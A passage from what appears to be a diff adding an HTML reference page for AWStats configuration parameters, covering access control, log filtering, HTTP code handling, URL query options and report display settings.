+<br># Example: "123.123.123.123 REGEX[^192\.168\.]" +<br># Default: "" +<br># +<br>SkipDNSLookupFor="" + +<br><br><hr> + +<a name="AllowAccessFromWebToAuthenticatedUsersOnly"><b>AllowAccessFromWebToAuthenticatedUsersOnly</b></a><br> +<b>Version : </b>4.0+<br> +<br># The following two parameters allow you to protect a config file from being +<br># read by AWStats when called from a browser if web user has not been +<br># authenticated. Your AWStats program must be in a web protected "realm" (With +<br># Apache, you can use .htaccess files to do so. With other web servers, see +<br># your server setup manual). +<br># Change : Effective immediatly +<br># Possible values: 0 or 1 +<br># Default: 0 +<br># +<br>AllowAccessFromWebToAuthenticatedUsersOnly=0 + +<br><br><hr> + +<a name="AllowAccessFromWebToFollowingAuthenticatedUsers"><b>AllowAccessFromWebToFollowingAuthenticatedUsers</b></a><br> +<b>Version : </b>4.0+<br> +<br># This parameter gives the list of all authorized authenticated users to view +<br># statistics for this domain/config file. This parameter is used only if +<br># AllowAccessToAuthenticatedUsersOnly is set to 1. +<br># Change : Effective immediatly +<br># Example: "user1 user2" +<br># Default: "" +<br># +<br>AllowAccessFromWebToFollowingAuthenticatedUsers="" + +<br><br><hr> + +<a name="AllowAccessFromWebToFollowingIPAddresses"><b>AllowAccessFromWebToFollowingIPAddresses</b></a><br> +<b>Version : </b>5.0+<br> +<br># When this parameter is defined to something, the IP address of the user that +<br># read its statistics from a browser (when AWStats is used as a CGI) is +<br># checked and must match one of the IP address values or ranges. +<br># Change : Effective immediatly +<br># Example: "127.0.0.1 123.123.123.1-123.123.123.255" +<br># Default: "" +<br># +<br>AllowAccessFromWebToFollowingIPAddresses="" + +<br><br><hr> + +<a name="CreateDirDataIfNotExists"><b>CreateDirDataIfNotExists</b></a><br> +<b>Version : </b>4.0+<br> +<br># If the "DirData" directory (see above) does not exists, AWStats return an +<br># error. However, you can ask AWStats to create it. +<br># This option can be used by some Web Hosting Providers that has defined a +<br># dynamic value for DirData (for example DirData="/home/__REMOTE_USER__") and +<br># don't want to have to create a new directory each time they add a new user. +<br># Change : Effective immediatly +<br># Possible values: 0 or 1 +<br># Default: 0 +<br># +<br>CreateDirDataIfNotExists=1 + +<br><br><hr> + +<a name="BuildHistoryFormat"><b>BuildHistoryFormat</b></a><br> +<b>Version : </b>6.0+<br> +<br># You can choose in which format the Awstats history database is saved. +<br># Note: Using "xml" format make AWStats building database files three times +<br># larger than using "text" format. +<br># Change : Database format is switched after next update +<br># Possible values: text or xml +<br># Default: text +<br># +<br>BuildHistoryFormat=text + +<br><br><hr> + +<a name="BuildReportFormat"><b>BuildReportFormat</b></a><br> +<b>Version : </b>6.0+<br> +<br># If you prefer having the report output pages be built as XML compliant pages +<br># instead of simple HTML pages, you can set this to 'xhtml' (May not works +<br># properly with old browsers). +<br># Possible values: html or xhtml +<br># Default: html +<br># +<br>BuildReportFormat=html + +<br><br><hr> + +<a name="SaveDatabaseFilesWithPermissionsForEveryone"><b>SaveDatabaseFilesWithPermissionsForEveryone</b></a><br> +<b>Version : </b>4.0+<br> +<br># AWStats databases can be updated from command line of from a browser (when +<br># used as a cgi program). So AWStats database files need write permission +<br># for both command line user and default web server user (nobody for Unix, +<br># IUSR_xxx for IIS/Windows,...). +<br># To avoid permission's problems between update process (run by an admin user) +<br># and CGI process (ran by a low level user), AWStats can save its database +<br># files with read and write permissions for everyone. +<br># By default, AWStats keep default user permissions on updated files. If you +<br># set AllowToUpdateStatsFromBrowser to 1, you can change this parameter to 1. +<br># Change : Effective for new updates only +<br># Possible values: 0 or 1 +<br># Default: 0 +<br># +<br>SaveDatabaseFilesWithPermissionsForEveryone=0 + +<br><br><hr> + +<a name="PurgeLogFile"><b>PurgeLogFile</b></a><br> +<b>Version : </b>2.23+<br> +<br># AWStats can purge log file, after analyzing it. Note that AWStats is able +<br># to detect new lines in a log file, to process only them, so you can launch +<br># AWStats as often as you want, even with this parameter to 0. +<br># With 0, no purge is made, so you must use a scheduled task or a web server +<br># that make this purge frequently. +<br># With 1, the purge of the log file is made each time AWStats is ran. +<br># This parameter doesn't work with IIS (This web server doesn't let its log +<br># file to be purged). +<br># Possible values: 0 or 1 +<br># Default: 0 +<br># +<br>PurgeLogFile=0 + +<br><br><hr> + +<a name="ArchiveLogRecords"><b>ArchiveLogRecords</b></a><br> +<b>Version : </b>2.1+ (6.4+ to use tags for suffix)<br> +<br># When PurgeLogFile is setup to 1, AWStats will clean your log file after +<br># processing it. You can however keep an archive file of all processed log +<br># records by setting this parameter (For example if you want to use another +<br># log analyzer). The archived log file is saved in "DirData" with name +<br># awstats_archive.configname[.suffix].log +<br># This parameter is not used if PurgeLogFile=0 +<br># Change : Effective for new updates only +<br># Possible values: 0, 1, or tags (See LogFile parameter) for suffix +<br># Example: 1 +<br># Example: %YYYY%MM%DD +<br># Default: 0 +<br># +<br>ArchiveLogRecords=0 + +<br><br><hr> + +<a name="KeepBackupOfHistoricFiles"><b>KeepBackupOfHistoricFiles</b></a><br> +<b>Version : </b>3.2+<br> +<br># Each time you run the update process, AWStats overwrite the 'historic file' +<br># for the month (awstatsMMYYYY[.*].txt) with the updated one. +<br># When write errors occurs (IO, disk full,...), this historic file can be +<br># corrupted and must be deleted. Because this file contains information of all +<br># past processed log files, you will loose old stats if removed. So you can +<br># ask AWStats to save last non corrupted file in a .bak file. This file is +<br># stored in "DirData" directory with other 'historic files'. +<br># Possible values: 0 or 1 +<br># Default: 0 +<br># +<br>KeepBackupOfHistoricFiles=0 + +<br><br><hr> + +<a name="DefaultFile"><b>DefaultFile</b></a><br> +<b>Version : </b>1.0+ (5.0+ can accept several values)<br> +<br># Default index page name for your web server. +<br># Change : Effective for new updates only +<br># Example: "index.php index.html default.html" +<br># Default: "index.html" +<br># +<br>DefaultFile="index.html" + +<br><br><hr> + +<a name="SkipHosts"><b>SkipHosts</b></a><br> +<b>Version : </b>1.0+ (5.6+ for REGEX syntax)<br> +<br># Do not include access from clients that match following criteria. +<br># If your log file contains IP adresses in host field, you must enter here +<br># matching IP adresses criteria. +<br># If DNS lookup is already done in your log file, you must enter here hostname +<br># criteria, else enter ip address criteria. +<br># The opposite parameter of "SkipHosts" is "OnlyHosts". +<br># Note: Use space between each value. +<br># Note: You can use regular expression values writing value with REGEX[value]. +<br># Change : Effective for new updates only +<br># Example: "127.0.0.1 REGEX[^192\.168\.] REGEX[^10\.0\.0\.]" +<br># Example: "localhost REGEX[^.*\.localdomain$]" +<br># Default: "" +<br># +<br>SkipHosts="" + +<br><br><hr> + +<a name="SkipUserAgents"><b>SkipUserAgents</b></a><br> +<b>Version : </b>5.1+ (5.6+ for REGEX syntax)<br> +<br># Do not include access from clients with a user agent that match following +<br># criteria. If you want to exclude a robot, you should update the robots.pm +<br># file instead of this parameter. +<br># The opposite parameter of "SkipUserAgents" is "OnlyUserAgents". +<br># Note: Use space between each value. This parameter is not case sensitive. +<br># Note: You can use regular expression values writing value with REGEX[value]. +<br># Change : Effective for new updates only +<br># Example: "konqueror REGEX[ua_test_v\d\.\d]" +<br># Default: "" +<br># +<br>SkipUserAgents="" + +<br><br><hr> + +<a name="SkipFiles"><b>SkipFiles</b></a><br> +<b>Version : </b>1.0+ (5.6+ for REGEX syntax)<br> +<br># Use SkipFiles to ignore access to URLs that match one of following entries. +<br># You can enter a list of not important URLs (like framed menus, hidden pages, +<br># etc...) to exclude them from statistics. You must enter here exact relative +<br># URL as found in log file, or a matching REGEX value. Check apply on URL with +<br># all its query paramaters. +<br># For example, to ignore /badpage.php, just add "/badpage.php". To ignore all +<br># pages in a particular directory, add "REGEX[^\/directorytoexclude]". +<br># The opposite parameter of "SkipFiles" is "OnlyFiles". +<br># Note: Use space between each value. This parameter is or not case sensitive +<br># depending on URLNotCaseSensitive parameter. +<br># Note: You can use regular expression values writing value with REGEX[value]. +<br># Change : Effective for new updates only +<br># Example: "/badpage.php /page.php?param=x REGEX[^\/excludedirectory]" +<br># Default: "" +<br># +<br>SkipFiles="" + +<br><br><hr> + +<a name="SkipReferrersBlackList"><b>SkipReferrersBlackList</b></a><br> +<b>Version : </b>6.5+<br> +<br># Use SkipReferrersBlackList if you want to exclude records coming from a SPAM +<br># referrer. Parameter must receive a local file name containing rules applied +<br># on referrer field. If parameter is empty, no filter is applied. +<br># An example of such a file is available in lib/blacklist.txt +<br># You can download updated version at http://www.jayallen.org/comment_spam/ +<br># Change : Effective for new updates only +<br># Example: "/mylibpath/blacklist.txt" +<br># Default: "" +<br> +<br># WARNING!! Using this feature make AWStats running very slower (5 times slower +<br># with black list file provided with AWStats ! +<br># +<br>SkipReferrersBlackList="" + +<br><br><hr> + +<a name="OnlyHosts"><b>OnlyHosts</b></a><br> +<b>Version : </b>5.2+ (5.6+ for REGEX syntax)<br> +<br># Include in stats, only accesses from hosts that match one of following +<br># entries. For example, if you want AWStats to filter access to keep only +<br># stats for visits from particular hosts, you can add those hosts names in +<br># this parameter. +<br># If DNS lookup is already done in your log file, you must enter here hostname +<br># criteria, else enter ip address criteria. +<br># The opposite parameter of "OnlyHosts" is "SkipHosts". +<br># Note: Use space between each value. This parameter is not case sensitive. +<br># Note: You can use regular expression values writing value with REGEX[value]. +<br># Change : Effective for new updates only +<br># Example: "127.0.0.1 REGEX[^192\.168\.] REGEX[^10\.0\.0\.]" +<br># Default: "" +<br># +<br>OnlyHosts="" + +<br><br><hr> + +<a name="OnlyUserAgents"><b>OnlyUserAgents</b></a><br> +<b>Version : </b>5.8+<br> +<br># Include in stats, only accesses from user agent that match one of following +<br># entries. For example, if you want AWStats to filter access to keep only +<br># stats for visits from particular browsers, you can add their user agents +<br># string in this parameter. +<br># The opposite parameter of "OnlyUserAgents" is "SkipUserAgents". +<br># Note: Use space between each value. This parameter is not case sensitive. +<br># Note: You can use regular expression values writing value with REGEX[value]. +<br># Change : Effective for new updates only +<br># Example: "msie" +<br># Default: "" +<br># +<br>OnlyUserAgents="" + +<br><br><hr> + +<a name="OnlyUsers"><b>OnlyUsers</b></a><br> +<b>Version : </b>6.8+<br> +<br># Include in stats, only accesses from authenticated users that match one of +<br># following entries. For example, if you want AWStats to filter access to keep +<br># only stats for authenticated users, you can add those users names in +<br># this parameter. Useful for statistics for per user ftp logs. +<br># Note: Use space between each value. This parameter is not case sensitive. +<br># Note: You can use regular expression values writing value with REGEX[value]. +<br># Change : Effective for new updates only +<br># Example: "john bob REGEX[^testusers]" +<br># Default: "" +<br># +<br>OnlyUsers="" + +<br><br><hr> + +<a name="OnlyFiles"><b>OnlyFiles</b></a><br> +<b>Version : </b>3.0+ (5.6+ for REGEX syntax)<br> +<br># Include in stats, only accesses to URLs that match one of following entries. +<br># For example, if you want AWStats to filter access to keep only stats that +<br># match a particular string, like a particular directory, you can add this +<br># directory name in this parameter. +<br># The opposite parameter of "OnlyFiles" is "SkipFiles". +<br># Note: Use space between each value. This parameter is or not case sensitive +<br># depending on URLNotCaseSensitive parameter. +<br># Note: You can use regular expression values writing value with REGEX[value]. +<br># Change : Effective for new updates only +<br># Example: "REGEX[marketing_directory] REGEX[office\/.*\.(csv|sxw)$]" +<br># Default: "" +<br># +<br>OnlyFiles="" + +<br><br><hr> + +<a name="NotPageList"><b>NotPageList</b></a><br> +<b>Version : </b>3.2+<br> +<br># Add here a list of kind of url (file extension) that must be counted as +<br># "Hit only" and not as a "Hit" and "Page/Download". You can set here all +<br># images extensions as they are hit downloaded that must be counted but they +<br># are not viewed pages. URLs with such extensions are not included in the TOP +<br># Pages/URL report. +<br># Note: If you want to exclude particular URLs from stats (No Pages and no +<br># Hits reported), you must use SkipFiles parameter. +<br># Example: "css js class gif jpg jpeg png bmp rss xml swf zip arj gz z wav mp3 wma mpg" +<br># Example: "" +<br># Default: "css js class gif jpg jpeg png bmp rss xml swf" +<br># +<br>NotPageList="css js class gif jpg jpeg png bmp rss xml swf" + +<br><br><hr> + +<a name="ValidHTTPCodes"><b>ValidHTTPCodes</b></a><br> +<b>Version : </b>4.0+<br> +<br># By default, AWStats considers that records found in log file are successful +<br># hits if HTTP code returned by server is a valid HTTP code (200 and 304). +<br># Any other code are reported in HTTP error chart. +<br># However in some specific environment, with web server HTTP redirection, +<br># you can choose to also accept other codes. +<br># Example: "200 304 302 305" +<br># Default: "200 304" +<br># +<br>ValidHTTPCodes="200 304" +<br> +<br><u>This is examples of current HTTP codes</u> +<br><i> +<br>#[Miscellaneous successes] +<br>"2xx", "[Miscellaneous successes]", +<br>"200", "OK", # HTTP request OK +<br>"201", "Created", +<br>"202", "Request recorded, will be executed later", +<br>"203", "Non-authoritative information", +<br>"204", "Request executed", +<br>"205", "Reset document", +<br>"206", "Partial Content", +<br>#[Miscellaneous redirections] +<br>"3xx", "[Miscellaneous redirections]", +<br>"300", "Multiple documents available", +<br>"301", "Moved Permanently", +<br>"302", "Found", +<br>"303", "See other document", +<br>"304", "Not Modified since last retrieval", # HTTP request OK +<br>"305", "Use proxy", +<br>"306", "Switch proxy", +<br>"307", "Document moved temporarily", +<br>#[Miscellaneous client/user errors] +<br>"4xx", "[Miscellaneous client/user errors]", +<br>"400", "Bad Request", +<br>"401", "Unauthorized", +<br>"402", "Payment required", +<br>"403", "Forbidden", +<br>"404", "Document Not Found", +<br>"405", "Method not allowed", +<br>"406", "ocument not acceptable to client", +<br>"407", "Proxy authentication required", +<br>"408", "Request Timeout", +<br>"409", "Request conflicts with state of resource", +<br>"410", "Document gone permanently", +<br>"411", "Length required", +<br>"412", "Precondition failed", +<br>"413", "Request too long", +<br>"414", "Requested filename too long", +<br>"415", "Unsupported media type", +<br>"416", "Requested range not valid", +<br>"417", "Failed", +<br>#[Miscellaneous server errors] +<br>"5xx", "[Miscellaneous server errors]", +<br>"500", "Internal server Error", +<br>"501", "Not implemented", +<br>"502", "Received bad response from real server", +<br>"503", "Server busy", +<br>"504", "Gateway timeout", +<br>"505", "HTTP version not supported", +<br>"506", "Redirection failed", +<br>#[Unknown] +<br>"xxx" ,"[Unknown]" +</i> + +<br><br><hr> + +<a name="ValidSMTPCodes"><b>ValidSMTPCodes</b></a><br> +<b>Version : </b>5.0+<br> +<br># By default, AWStats considers that records found in mail log file are +<br># successful mail transfers if field that represent return code in analyzed +<br># log file match values defined by this parameter. +<br># Change : Effective for new updates only +<br># Example: "1 250 200" +<br># Default: "1 250" +<br># +<br>ValidSMTPCodes="1 250" + +<br><br><hr> + +<a name="AuthenticatedUsersNotCaseSensitive"><b>AuthenticatedUsersNotCaseSensitive</b></a><br> +<b>Version : </b>5.3+<br> +<br># Some web servers on some Operating systems (IIS-Windows) considers that a +<br># login with same value but different case are the same login. To tell AWStats +<br># to also considers them as one, set this parameter to 1. +<br># Possible values: 0 or 1 +<br># Default: 0 +<br># +<br>AuthenticatedUsersNotCaseSensitive=0 + +<br><br><hr> + +<a name="URLNotCaseSensitive"><b>URLNotCaseSensitive</b></a><br> +<b>Version : </b>5.1+<br> +<br># Some web servers on some Operating systems (IIS-Windows) considers that two +<br># URLs with same value but different case are the same URL. To tell AWStats to +<br># also considers them as one, set this parameter to 1. +<br># Possible values: 0 or 1 +<br># Default: 0 +<br># +<br>URLNotCaseSensitive=0 + +<br><br><hr> + +<a name="URLWithAnchor"><b>URLWithAnchor</b></a><br> +<b>Version : </b>5.4+<br> +<br># Keep or remove the anchor string you can find in some URLs. +<br># Possible values: 0 or 1 +<br># Default: 0 +<br># +<br>URLWithAnchor=0 + +<br><br><hr> + +<a name="URLQuerySeparators"><b>URLQuerySeparators</b></a><br> +<b>Version : </b>5.2+<br> +<br># In URL links, "?" char is used to add parameter's list in URLs. Syntax is: +<br># /mypage.html?param1=value1 +<br># However, some servers/sites have also others chars to isolate dynamic part of +<br># their URLs. You can complete this list with all such characters. +<br># Example: "?;," +<br># Default: "?;" +<br># +<br>URLQuerySeparators="?;" + +<br><br><hr> + +<a name="URLWithQuery"><b>URLWithQuery</b></a><br> +<b>Version : </b>3.2+<br> +<br># Keep or remove the query string to the URL in the statistics for individual +<br># pages. This is primarily used to differentiate between the URLs of dynamic +<br># pages. If set to 1, mypage.html?id=x and mypage.html?id=y are counted as two +<br># different pages. +<br># Warning, when set to 1, memory required to run AWStats is dramatically +<br># increased if you have a lot of changing URLs (for example URLs with a random +<br># id inside). Such web sites should not set this option to 1 or use seriously +<br># the next parameter URLWithQueryWithoutFollowingParameters. +<br># Possible values: +<br># 0 - URLs are cleaned from the query string (ie: "/mypage.html") +<br># 1 - Full URL with query string is used (ie: "/mypage.html?p=x&q=y") +<br># Default: 0 +<br># +<br>URLWithQuery=0 + +<br><br><hr> + +<a name="URLWithQueryWithOnlyFollowingParameters"><b>URLWithQueryWithOnlyFollowingParameters</b></a><br> +<b>Version : </b>6.0+<br> +<br># When URLWithQuery is on, you will get the full URL with all parameters in +<br># URL reports. But among thoose parameters, sometimes you don't need a +<br># particular parameter because it does not identify the page or because it's +<br># a random ID changing for each access even if URL points to same page. In +<br># such cases, it is higly recommanded to ask AWStats to keep only parameters +<br># you need (if you know them) before counting, manipulating and storing URL. +<br># Enter here list of wanted parameters. For example, with "param", one hit on +<br># /mypage.cgi?param=abc&id=Yo4UomP9d and /mypage.cgi?param=abc&id=Mu8fdxl3r +<br># will be reported as 2 hits on /mypage.cgi?param=abc +<br># This parameter is not used when URLWithQuery is 0 and can't be used with +<br># URLWithQueryWithoutFollowingParameters. +<br># Change : Effective for new updates only +<br># Example: "param" +<br># Default: "" +<br># +<br>URLWithQueryWithOnlyFollowingParameters="" + +<br><br><hr> + +<a name="URLWithQueryWithoutFollowingParameters"><b>URLWithQueryWithoutFollowingParameters</b></a><br> +<b>Version : </b>5.1+<br> +<br># When URLWithQuery is on, you will get the full URL with all parameters in +<br># URL reports. But among thoose parameters, sometimes you don't need a +<br># particular parameter because it does not identify the page or because it's +<br># a random ID changing for each access even if URL points to same page. In +<br># such cases, it is higly recommanded to ask AWStats to remove such parameters +<br># from the URL before counting, manipulating and storing URL. Enter here list +<br># of all non wanted parameters. For example, if you enter "id", one hit on +<br># /mypage.cgi?param=abc&id=Yo4UomP9d and /mypage.cgi?param=abc&id=Mu8fdxl3r +<br># will be reported as 2 hits on /mypage.cgi?param=abc +<br># This parameter is not used when URLWithQuery is 0 and can't be used with +<br># URLWithQueryWithOnlyFollowingParameters. +<br># Change : Effective for new updates only +<br># Example: "PHPSESSID jsessionid" +<br># Default: "" +<br># +<br>URLWithQueryWithoutFollowingParameters="" + +<br><br><hr> + +<a name="URLReferrerWithQuery"><b>URLReferrerWithQuery</b></a><br> +<b>Version : </b>5.1+<br> +<br># Keep or remove the query string to the referrer URL in the statistics for +<br># external referrer pages. This is used to differentiate between the URLs of +<br># dynamic referrer pages. If set to 1, mypage.html?id=x and mypage.html?id=y +<br># are counted as two different referrer pages. +<br># Possible values: +<br># 0 - Referrer URLs are cleaned from the query string (ie: "/mypage.html") +<br># 1 - Full URL with query string is used (ie: "/mypage.html?p=x&q=y") +<br># Default: 0 +<br># +<br>URLReferrerWithQuery=0 + +<br><br><hr> + +<a name="WarningMessages"><b>WarningMessages</b></a><br> +<b>Version : </b>1.0+<br> +<br># AWStats can detect setup problems or show you important informations to have +<br># a better use. Keep this to 1, except if AWStats says you can change it. +<br># Possible values: 0 or 1 +<br># Default: 1 +<br># +<br>WarningMessages=1 + +<br><br><hr> + +<a name="ErrorMessages"><b>ErrorMessages</b></a><br> +<b>Version : </b>5.2+<br> +<br># When an error occurs, AWStats output a message related to errors. If you +<br># want (in most cases for security reasons) to have no error messages, you +<br># can set this parameter to your personalized generic message. +<br># Example: "An error occured. Contact your Administrator" +<br># Default: "" +<br># +<br>ErrorMessages="" + +<br><br><hr> + +<a name="DebugMessages"><b>DebugMessages</b></a><br> +<b>Version : </b>5.2+<br> +<br># AWStat can be run with debug=x parameter to output various informations +<br># to help in debugging or solving troubles. If you want to allow this (not +<br># enabled by default for security reasons), set this parameter to 0. +<br># Change : Effective immediatly +<br># Possible values: 0 or 1 +<br># Default: 0 +<br># +<br>DebugMessages=0 + +<br><br><hr> + +<a name="NbOfLinesForCorruptedLog"><b>NbOfLinesForCorruptedLog</b></a><br> +<b>Version : </b>3.2+<br> +<br># To help you to detect if your log format is good, AWStats report an error +<br># if all the first NbOfLinesForCorruptedLog lines have a format that does not +<br># match the LogFormat parameter. +<br># However, some worm virus attack on your web server can result in a very high +<br># number of corrupted lines in your log. So if you experience awstats stop +<br># because of bad virus records at the beginning of your log file, you can +<br># increase this parameter (very rare). +<br># Default: 50 +<br># +<br>NbOfLinesForCorruptedLog=50 + +<br><br><hr> + +<a name="SplitSearchString"><b>SplitSearchString</b></a><br> +<font color="#808080"> +<b>Version : </b>2.24 - 4.0 (deprecated since 4.1)<br> +This parameter has been removed since 4.1.<br> +AWStats 4.1+ supports both keywords AND keyphrases by default with no need of any parameter.<br> +</font> + +<br><br><hr> + +<a name="WrapperScript"><b>WrapperScript</b></a><br> +<b>Version : </b>4.0+<br> +<br># For some particular integration needs, you may want to have CGI links to +<br># point to another script than awstats.pl. +<br># Use the name of this script in WrapperScript parameter. +<br># Example: "awstatslauncher.pl" +<br># Default: "" +<br># +<br>WrapperScript="" + +<br><br><hr> + +<a name="DecodeUA"><b>DecodeUA</b></a><br> +<b>Version : </b>5.0+<br> +<br># DecodeUA must be set to 1 if you use Roxen web server. This server converts +<br># all spaces in user agent field into %20. This make the AWStats robots, os +<br># and browsers detection fail in some cases. Just change it to 1 if and only +<br># if your web server is Roxen. +<br># Possible values: 0 or 1 +<br># Default: 0 +<br># +<br>DecodeUA=0 + +<br><br><hr> + +<a name="MiscTrackerUrl"><b>MiscTrackerUrl</b></a><br> +<b>Version : </b>5.6+<br> +<br># MiscTrackerUrl can be used to make AWStats able to detect some miscellanous +<br># things, that can not be tracked on other way like: +<br># - Screen size +<br># - Screen color depth +<br># - Java enabled +<br># - Macromedia Director plugin +<br># - Macromedia Shockwave plugin +<br># - Realplayer G2 plugin +<br># - QuickTime plugin +<br># - Mediaplayer plugin +<br># - Acrobat PDF plugin +<br># To enable all this features, you must copy the awstats_misc_tracker.js file +<br># into a /js/ directory stored in your web document root and add the following +<br># HTML code at the end of your index page (before </BODY>) : +<br># <i><script language=javascript src="/js/awstats_misc_tracker.js"></script></i> +<br># If code is not added in index page, all this detection capabilities will be +<br># disabled. You must also check that ShowScreenSizeStats and ShowMiscStats +<br># parameters are set to 1 to make results appear in report page. +<br># If you want to use another directory than /js/, you must also change the +<br># awstatsmisctrackerurl variable into the awstats_misc_tracker.js file. +<br># Change : Effective for new updates only. +<br># Possible value: Full URL of javascript tracker file added in HTML code +<br># Default: "/js/awstats_misc_tracker.js" +<br># +<br>MiscTrackerUrl="/js/awstats_misc_tracker.js" + +<br><br><hr> + +<a name="LevelFor"><b>LevelFor</b></a><br> +<b>Version : </b>4.0+<br> +6.0+ for LevelForFileTypesDetection, LevelForSearchEnginesDetection, LevelForKeywordsDetection, LevelForWormsDetection<br> +<br># Following values allows you to define accuracy of AWStats entities (robots, +<br># browsers, os, referers, file types) detection. +<br># It might be a good idea for large web sites or ISP that provides AWStats to +<br># high number of customers, to set this parameter to 1 (or 0), instead of 2. +<br># Possible values: +<br># 0 = No detection, +<br># 1 = Medium/Standard detection +<br># 2 = Full detection +<br># Change : Effective for new updates only +<br># Default: 2 (0 for LevelForWormsDetection) +<br># +<br>LevelForBrowsersDetection=2 # 0 disables Browsers detection. +<br> # 2 reduces AWStats speed by 2% +<br>LevelForOSDetection=2 # 0 disables OS detection. +<br> # 2 reduces AWStats speed by 3% +<br>LevelForRefererAnalyze=2 # 0 disables Origin detection. +<br> # 2 reduces AWStats speed by 14% +<br>LevelForRobotsDetection=2 # 0 disables Robots detection. +<br> # 2 reduces AWStats speed by 2.5% +<br>LevelForSearchEnginesDetection=2 # 0 disables Search engines detection. +<br> # 2 reduces AWStats speed by 9% +<br>LevelForKeywordsDetection=2 # 0 disables Keyphrases/Keywords detection. +<br> # 2 reduces AWStats speed by 1% +<br>LevelForFileTypesDetection=2 # 0 disables File types detection. +<br> # 2 reduces AWStats speed by 1% +<br>LevelForWormsDetection=0 # 0 disables Worms detection. +<br> # 2 reduces AWStats speed by 15% + +<br><br><hr> + +<a name="UseFramesWhenCGI"><b>UseFramesWhenCGI</b></a><br> +<b>Version : </b>5.0+<br> +<br># When you use AWStats as a CGI, you can have the reports shown in HTML views. +<br># Frames are only available for report viewed dynamically. When you build +<br># pages from command line, this option is not used and no frames are built. +<br># Possible values: 0 or 1 +<br># Default: 1 +<br># +<br>UseFramesWhenCGI=1 + +<br><br><hr> + +<a name="DetailedReportsOnNewWindows"><b>DetailedReportsOnNewWindows</b></a><br> +<b>Version : </b>4.1+ (5.0+ for value 2)<br> +<br># This parameter ask your browser to open detailed reports into a different +<br># window than the main page. +<br># Possible values: +<br># 0 - Open all in same browser window +<br># 1 - Open detailed reports in another window except if using frames +<br># 2 - Open always in a different window even if reports are framed +<br># Default: 1 +<br># +<br>DetailedReportsOnNewWindows=1 + +<br><br><hr> + +<a name="Expires"><b>Expires</b></a><br> +<b>Version : </b>3.1+<br> +<br># You can add, in the HTML report page, a cache lifetime (in seconds) that +<br># will be returned to browser in HTTP header answer by server. +<br># This parameter is not used when report are built with -staticlinks option. +<br># Example: 3600 +<br># Default: 0 +<br># +<br>Expires=0 + +<br><br><hr> + +<a name="MaxRowsInHTMLOutput"><b>MaxRowsInHTMLOutput</b></a><br> +<b>Version : </b>4.0+<br> +<br># To avoid too large web pages, you can ask AWStats to limit number of rows of +<br># all reported charts to this number when no other limit apply. +<br># Default: 1000 +<br># +<br>MaxRowsInHTMLOutput=1000 + +<br><br><hr> + +<a name="Lang"><b>Lang</b></a><br> +<b>Version : </b>2.1+<br> +<br># Set your primary language. +<br># Possible value: +<br># Albanian=al, Bosnian=ba, Bulgarian=bg, +<br># Chinese (Taiwan)=tw, Chinese (Simpliefied)=cn, Czech=cz, +<br># Danish=dk, Dutch=nl, English=en, Estonian=et, Finnish=fi, French=fr, +<br># German=de, Greek=gr, Hebrew=he, Hungarian=hu, Indonesian=id, Italian=it, +<br># Japanese=jp, Korean=kr, Latvian=lv, Norwegian (Nynorsk)=nn, +<br># Norwegian (Bokmal)=nb, Polish=pl, Portuguese=pt, Portuguese (Brazilian)=br, +<br># Romanian=ro, Russian=ru, Serbian=sr, Slovak=sk, Spanish=es, +<br># Spanish (Catalan)=es_cat, Swedish=se, Turkish=tr, Ukrainian=ua, Welsh=wlk. +<br># First available language accepted by browser=auto +<br># Default: "auto" +<br># +<br>Lang="auto" + +<br><br><hr> + +<a name="DirLang"><b>DirLang</b></a><br> +<b>Version : </b>2.1+<br> +<br># Set the location of language files. +<br># Example: "/usr/share/awstats/lang" +<br># Default: "./lang" (means lang directory is in same location than awstats.pl) +<br># +<br>DirLang="./lang" + +<br><br><hr> + +<a name="Show"><b>Show...</b></a><br> +<b>Version : </b><br> +<font color="#808080">3.2 - 5.0 for ShowCompressionStats (deprecated since 5.1, use code C with ShowFileTypesStats instead)</font><br> +<font color="#808080">3.2 - 5.3 for ShowHeader (deprecated since 5.4)</font><br> +3.2+ for ShowMenu,ShowMonthStats,ShowDaysOfWeekStats,ShowHoursStats, +ShowDomainsStats,ShowHostsStats,ShowAuthenticatedUsers,ShowRobotsStats, +ShowPagesStats,ShowFileTypesStats,ShowFileSizesStats,ShowBrowsersStats, +ShowOSStats,ShowOriginStats,ShowKeyphrasesStats,ShowKeywordsStats,ShowHTTPErrorsStats<br> +4.1+ for ShowSessionsStats, ShowKeywordsStats<br> +5.1+ for all letters codes<br> +5.5+ for ShowDaysOfMonthStats<br> +5.6+ for ShowMiscStats,ShowSTMPErrorsStats<br> +5.8+ for ShowClusterStats<br> +6.0+ for ShowWormsStats<br> +6.4+ for ShowSummary<br>7.0+ for ShowDownloadsStats<br> +<br># You choose here which reports you want to see in the main page and what you +<br># want to see in those reports. +<br># Possible values: +<br># 0 - Report is not shown at all +<br># 1 - Report is shown in main page with an entry in menu and default columns +<br># XYZ - Report shows column informations defined by code X,Y,Z... +<br># X,Y,Z... are code letters among the following: +<br># U = Unique visitors +<br># V = Visits +<br># P = Number of pages +<br># H = Number of hits (or mails) +<br># B = Bandwith (or total mail size for mail logs) +<br># L = Last access date +<br># E = Entry pages +<br># X = Exit pages +<br># C = Web compression (mod_gzip,mod_deflate) +<br># M = Average mail size (mail logs) +<br># +<br> +<br># Show menu header with reports' links +<br># Possible values: 0 or 1 +<br># Default: 1 +<br># +<br>ShowMenu=1 +<br> +<br># Show monthly summary +<br># Context: Web, Streaming, Mail, Ftp +<br># Default: UVPHB, Possible column codes: UVPHB +<br>ShowSummary=UVPHB +<br> +<br># Show monthly chart +<br># Context: Web, Streaming, Mail, Ftp +<br># Default: UVPHB, Possible column codes: UVPHB +<br>ShowMonthStats=UVPHB +<br> +<br># Show days of month chart +<br># Context: Web, Streaming, Mail, Ftp +<br># Default: VPHB, Possible column codes: VPHB +<br>ShowDaysOfMonthStats=VPHB +<br> +<br># Show days of week chart +<br># Context: Web, Streaming, Mail, Ftp +<br># Default: PHB, Possible column codes: PHB +<br>ShowDaysOfWeekStats=PHB +<br> +<br># Show hourly chart +<br># Context: Web, Streaming, Mail, Ftp +<br># Default: PHB, Possible column codes: PHB +<br>ShowHoursStats=PHB +<br> +<br># Show domains/country chart +<br># Context: Web, Streaming, Mail, Ftp +<br># Default: PHB, Possible column codes: PHB +<br>ShowDomainsStats=PHB +<br> +<br># Show hosts chart +<br># Context: Web, Streaming, Mail, Ftp +<br># Default: PHBL, Possible column codes: PHBL +<br>ShowHostsStats=PHBL +<br> +<br># Show authenticated users chart +<br># Context: Web, Streaming, Ftp +<br># Default: 0, Possible column codes: PHBL +<br>ShowAuthenticatedUsers=0 +<br> +<br># Show robots chart +<br># Context: Web, Streaming +<br># 